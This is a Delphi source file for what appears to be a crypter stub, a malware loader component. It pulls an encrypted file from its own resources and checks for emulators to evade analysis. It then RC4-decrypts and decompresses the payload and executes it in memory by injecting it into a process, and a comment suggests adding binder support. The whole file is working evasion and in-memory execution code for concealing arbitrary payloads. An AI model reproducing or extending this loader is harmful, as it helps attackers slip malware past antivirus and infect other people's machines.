program Main;
uses
Windows,
Util,
Bytes,
Unit2;
{
Start of stub
}
var
Buffer : AnsiString;
SettingsPointer : Pointer;
SettingsLength : Integer;
sInfo : TSettings;
iBuffer : Integer;
iFile : Pointer;
begin
//MessageBox(0, 'Begin', 'Info', MB_OK);
LoadApp; // Load API's Dynamically.
iBuffer := 0;
MessageBox(0, 'Get Settings + Assign', 'Info', MB_OK);
SettingsPointer := ResGet(SettingsLength, 'S'); Move(SettingsPointer^, sInfo, SettingsLength); // Get Settings + Assign.
If sInfo.AntiE then begin If AntiEmulaters then Exit else end; // Check for Emulators - ChainCoder's code.
//If sInfo.AntiV then begin If IsVMwarePresent then Exit else end; // Check for Vmware and Virtual PC.
// Removed this as was crashing for some reason
//MessageBox(0, 'Get File from Resources', 'Info', MB_OK);
iFile := ResGet(iBuffer, 'F'); SetLength(Buffer, iBuffer); if iFile = nil then ExitProcess(0); // Get File from Resources,
// if no file found Exit.
// You could also add binder support by adding loops to loop through the files in resources
Move(iFile^, Buffer[1], Length(Buffer));
//MessageBox(0, 'Decrypt File with RC4', 'Info', MB_OK);
If sInfo.Encrypt then Buffer := RC4(Buffer, PChar(CharArrayToString(sInfo.Key))); // Decrypt file with RC4, if RC4 was selected.
//MessageBox(0, 'DeCompress File', 'Info', MB_OK);
If sInfo.Compress then Buffer := DeCompress(Buffer); // DeCompress Buffer, if compression was selected.
GetMem(iFile, Length(Buffer));
Move(Buffer[1], iFile^, Length(Buffer));
//MessageBox(0, 'Execute file in Memory', 'Info', MB_OK);
//Memory Execute(File, Process to Inject into, File Parameters, Visible)
if not MemoryExecute(iFile, ParamStr(0), '', True) then Exit; // Injecting file into Memory, otherwise Exit.
//MessageBox(0, 'File has been Executed.', 'Info', MB_OK);
FreeMem(iFile);
Exit;
end.
{ End of Stub }